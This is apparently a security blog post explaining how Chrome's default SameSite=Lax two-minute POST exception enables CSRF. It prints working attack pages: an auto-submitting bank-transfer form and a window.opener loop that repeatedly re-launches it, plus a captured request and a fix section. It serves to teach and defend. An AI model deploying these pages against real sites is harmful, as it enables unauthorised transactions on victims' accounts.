SameSite: Hax – Exploiting CSRF With The Default SameSite Policy

Feb 23 2022

Default SameSite settings are not the same as SameSite: Lax set explicitly. TLDR? A two-minute window from when a cookie is issued is open to exploit CSRF. Let’s take a closer look at how to do that…

Summary

Modern browsers have come a long way in mitigating cross-site request forgery with the way they handle cookies and the SameSite cookie setting. The SameSite setting configures how cookies are sent with cross domain requests. If you’re not familiar with CSRF bugs, check out the OWASP link in the reference section.

This article is going to look at exploiting CSRF against a POST request even when the default SameSite Lax setting should prevent just that. There are three different options for the SameSite setting.

EDIT: This article specifically refers to the SameSite behaviour for Google Chrome 98.0.4758.102 (Official Build) (64-bit) on Ubuntu. Firefox 97.0.1 on Ubuntu and Firefox 97.0.1 (64-bit) on Windows were both tested and neither set SameSite to Lax by default if no SameSite flag was specified when a cookie was issued. These Firefox versions allowed cross-domain cookies in POST requests by default when no SameSite flag was present. The following screenshot shows the laxByDefault flag on a fresh Firefox 97.0.1 install:

None

None does nothing. A browser is going to fling those cookies about willy-nilly.

Strict

Strict is cool, your browser won’t be sending any cross-domain cookies with the Strict setting, under any circumstances. A request must originate from the domain the cookie is issued for.

Lax

Lax is a little different. If SameSite is set to Lax cookies can be sent cross-site, but only in a GET request, and only if a user initiated that request, say clicking a link, and not by a script.

Modern browser default to Lax if you don’t explicitly set SameSite when a cookie is issued. Good right? Well, maybe not as good as it could be… Here’s a fun fact, the behaviour of the automatically set Lax isn’t the same as the explicitly set Lax. Here’s a tid-bit about the SameSite cookie setting automatically set to Lax quoted from Chromium SameSite Frequently Asked Questions:

…a cookie that is at most 2 minutes old will be sent on a top-level cross-site POST request.

The is called the “LAX+POST mitigation”. The FAQ describes this as a mitigation for specific cases where a cross-domain cookie is expected in a POST request during a single sign-on flow. But what happens if you’re relying on the default Lax setting for CSRF protection?

The Exploit

So based on the facts above, we should be able to cross-site post to exploit cross-site request forgery, with cookies included, if the victim visits the attack page within 2 minutes of their session cookie being issued.

For the cookie to be sent, the cookie must have been issued within the last two minutes and the request must come from a top-level domain navigation event, meaning we can’t use iframes…

A POC is easy to implement, but a long shot for practical exploitation.

POC – Confirming Default SameSite Behavior

For this scenario, we’ve set up a site called Pulse-Bank.com. No, we don’t actually run a bank, this is just a fake domain pointed to a fake web server running on localhost port 5000.

Pulse-Bank.com issues us a cookie. Here’s what the server-side response to set the cookie looks like.

Set-Cookie: PulseBankSession=f957fb28-9a18-4394-8ee3-22f53413a1dc; Path = /; Secure; HttpOnly

The server didn’t set the SameSite flag, so the browser defaults to SameSite: Lax. Here’s a sample attack page that we are hosting on attacker.com. Another fake domain, running on localhost, port 8000. If we hit this within two minutes of logging into Pulse-Bank.com, the CSRF works just like you’d expect it to:

<html>
  <script>
      console.log("go attack");
  </script>

  <body onload="setTimeout(function() { document.frm1.submit() }, 1000)">

    <form action="https://Pulse-Bank.com:5000/transfer.jsp" method="POST" name="frm1">
      <input type="hidden" name="FromAccount" value="000-00000-0000-00" />
      <input type="hidden" name="ToAccount" value="111-11111-1111-11" />
      <input type="hidden" name="Amount" value="AllTheDollars" />
    </form>

  </body>
</html>

When the attack page is loaded, we can see the browser sending a request to Pulse-Bank.com with the cookie attached cross-site like the good old days of CSRF:

POST /transfer.jsp HTTP/1.1
Host: pulse-bank.com:5000
Cookie: PulseBankSession=f957fb28-9a18-4394-8ee3-22f53413a1dc
Content-Length: 78
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://attacker.com:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://attacker.com:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9
Connection: close

FromAccount=000-00000-0000-00&ToAccount=111-11111-1111-11&Amount=AllTheDollars

But 2 minutes? Come on… it’s a crap shoot. Or is it?

Exploit – A better way

The main issue with automating this exploit is that for the cookie to be sent, the POST must be a top-level navigation. So, no iframes scripted to reload over and over again. The question becomes: How do we script top-level navigation in a repeatable way when a victim user visits our site?

The answer is good old window.opener. You might remember window.opener from other bugs such as tab nabbing. The plan is this:

  • The user browses to an attacker-controlled page (one.html)
  • When the user clicks a link on the page, a second window is opened (two.html) using window.open. This is to get around pop-up blockers.
  • Two.html uses window.opener to instrument the original window and force top-level domain posts by constantly setting the window.opener.location to our CSRF attack.html.
  • If the victim leaves these two windows or tabs open, the exploit will loop, launching attack.html over and over again.
  • The next time a cookie is issued, we catch that sweet 2-minute window and our CSRF pops.

Let’s make the 3 web pages for attacker.com, The first one is called one.html (of course):

<html>
 <body>
<center>
  <h1> Wanna play the best game in the world?</h1>
  <button onclick="window.open('http://attacker.com:8000/two.html')">Play me!</button>
</center>
 </body>
</html>

And then we have two.html. You can see the loop which is reloading the original window every 5 seconds:

<html>
 <body>
 <center>
 <h1>
 Play the game my friend, play the game… Guess the word... oh, but don’t forget to pay your bills.
 </h1>
 </center>
  <script>
   if (window.opener) {
      console.log("redirecting");
      window.opener.location = "http://attacker.com:8000/attack.html";
      setInterval(() => {console.log("again"); window.opener.location = "http://attacker.com:8000/attack.html";}, 5000);
   }
  </script>
 </body>
</html>

And this one will look familiar, attack.html:

<html>
  <script>
      console.log("go attack");
  </script>

  <body onload="setTimeout(function() { document.frm1.submit() }, 1000)">

    <form action="https://Pulse-Bank.com:5000/transfer.jsp" method="POST" name="frm1">
      <input type="hidden" name="FromAccount" value="000-00000-0000-00" />
      <input type="hidden" name="ToAccount" value="111-11111-1111-11" />
      <input type="hidden" name="Amount" value="AllTheDollars" />
    </form>

  </body>
</html>

Scenario – What would a practical attack look like?

The above is all fine and dandy from a proof-of-concept perspective. But what would an actual real-life attack using this technique look like? Here’s a story.

The victim of this attack would be ready to log in and pay some bills, but who likes paying bills right? They go to Pulse-Bank.com but procrastinate. A buddy sent them a link to a great new game. This takes them to one.html on an attacker controlled site. They click the button to play the great game and a new tab opens. They don’t get to see the action happening in the tab they just left…

The new tab loads two.html, which through the magic of a little intentional Reverse Tabnabbing 2 just keeps attack.html cycling in the previous tab every 5 seconds. Play the game my friend, play the game… Guess the word… Oh, but don’t forget to pay your bills.

They go back to the Pulse-Bank.com site, log in, and start paying bills…

That’s when attack.html gets hold of the cookie and sends it along - exploiting the CSRF.

The exploitable window will be open for 2 minutes, so the cookie is sent with the CSRF request. After 2 minutes, the cookies stop getting included with the request. Every time the cookie value is refreshed, we get another 2-minute window.

Fix

There is an easy fix. Don’t let the browser decide how cookies are going to be handled. If you explicitly set SameSite to Lax or Strict the cross-site POST exception doesn’t happen. It only happens when the browser takes a cookie with no SameSite set and defaults to Lax.

Better yet, implement a CSRF token.

References


Follow us on twitter